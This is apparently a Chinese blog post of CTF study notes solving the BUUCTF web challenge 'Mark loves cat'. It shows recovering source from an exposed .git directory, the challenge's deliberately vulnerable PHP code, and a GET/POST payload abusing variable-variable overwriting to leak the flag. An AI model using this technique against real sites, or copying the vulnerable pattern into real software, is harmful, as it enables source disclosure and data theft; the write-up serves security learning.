「配枪朱丽叶。」

RootのCTF学习笔记。

BJDCTF2020/BUUCTF-WEB:Mark loves cat

扫描得到/.git/目录,尝试用GitHack读取源码:

flag.php

<?php

$flag = file_get_contents('/flag');

index.php关键部分:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

涉及到变量覆盖问题。首先我们post:$flag=flag

foreach($_POST as $x => $y){
    $$x = $y;
}

这样就变成了$$flag = flag。$$x表示$$flag,被$y赋值后为flag

接下来GET:?yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。
$$x = $$y,也就是$yds=flag{XXXXXX}。


只要没有flag参数,就会exit($yds),就可以得到flag了。
所以会输出flag。总的来说还是挺绕的。。

最终payload:

GET:yds=flag
POST:$flag=flag